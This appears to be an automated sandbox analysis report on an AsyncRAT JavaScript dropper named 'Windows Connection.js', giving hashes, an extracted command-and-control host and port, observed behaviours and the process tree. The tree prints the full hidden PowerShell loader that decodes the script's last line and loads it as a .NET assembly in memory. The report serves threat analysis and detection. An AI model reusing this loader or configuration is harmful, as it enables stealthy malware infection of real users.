Analysis
-
max time kernel
78s -
max time network
116s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
26-11-2024 23:12
Static task
static1
General
-
Target
Windows Connection.js
-
Size
500KB
-
MD5
b40b62a193d094576ae47a756471e21c
-
SHA1
95234c51ca91c1274fcb0566e2bdfeef82e87d0c
-
SHA256
b38757aa0b8ec7db067a07aacdac1a0fa553f2975bd6ba0c2e4e68697706042a
-
SHA512
0bd272ba17d7c7130cdacaaeb39fa6b45e253b09e2ed0bb2b1f77638227a781067a8db75355815b28b4c2642a4c316d22ee7c82d32a60ac767045a8a28914792
-
SSDEEP
6144:9HClO5Fr4uLhK4XJoNHV/NJ5GBqXddVPBH2mif/o3mSinBk:94ur4ulCHV/L8stbkginBk
Malware Config
Extracted
asyncrat
Xchallenger | 3Losh
Default
finityhomeplat.com:6677
52533835-12f7-44eb-b39a-8284a4f2aa84
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Asyncrat family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exewscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation wscript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 2892 set thread context of 1192 2892 powershell.exe 96 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
InstallUtil.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeInstallUtil.exepid Process 2892 powershell.exe 2892 powershell.exe 1192 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeInstallUtil.exedescription pid Process Token: SeDebugPrivilege 2892 powershell.exe Token: SeDebugPrivilege 1192 InstallUtil.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
InstallUtil.exepid Process 1192 InstallUtil.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
wscript.exewscript.exepowershell.exedescription pid Process procid_target PID 2860 wrote to memory of 1412 2860 wscript.exe 87 PID 2860 wrote to memory of 1412 2860 wscript.exe 87 PID 2860 wrote to memory of 1744 2860 wscript.exe 88 PID 2860 wrote to memory of 1744 2860 wscript.exe 88 PID 1744 wrote to memory of 2892 1744 wscript.exe 90 PID 1744 wrote to memory of 2892 1744 wscript.exe 90 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 PID 2892 wrote to memory of 1192 2892 powershell.exe 96 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Windows Connection.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +h "C:\Users\Public\Windows Connection.js"2⤵
- Views/modifies file attributes
PID:1412
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" //B "C:\Users\Public\Windows Connection.js"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $first_line = (Get-Content -Path 'C:\Users\Public\Windows Connection.js' | Select-Object -Last 1);$UjNjYY = $first_line -replace '//','' -replace 'Z','00' -replace '!','FF' -replace '@','AA' -replace '#','11' -replace 'X','55' -replace '%','BB';[Byte[]] $eEhmKB = $UjNjYY -split '(..)' | Where-Object { $_ } | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) };$jgyVsU = [System.Reflection.Assembly]::Load($eEhmKB);$xhkCjQ = 'COO13.IN771';$npXcqj = 'SE3';$RKSiaE = $jgyVsU.GetType($xhkCjQ);$YruPOh = $RKSiaE.GetMethod($npXcqj);$GULKjn = $YruPOh.Invoke($null, @());3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1192
-
-
-
-
C:\Windows\system32\wscript.exewscript.exe //B "C:\Users\Public\Windows Connection.js"1⤵PID:1700
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
500KB
MD5b40b62a193d094576ae47a756471e21c
SHA195234c51ca91c1274fcb0566e2bdfeef82e87d0c
SHA256b38757aa0b8ec7db067a07aacdac1a0fa553f2975bd6ba0c2e4e68697706042a
SHA5120bd272ba17d7c7130cdacaaeb39fa6b45e253b09e2ed0bb2b1f77638227a781067a8db75355815b28b4c2642a4c316d22ee7c82d32a60ac767045a8a28914792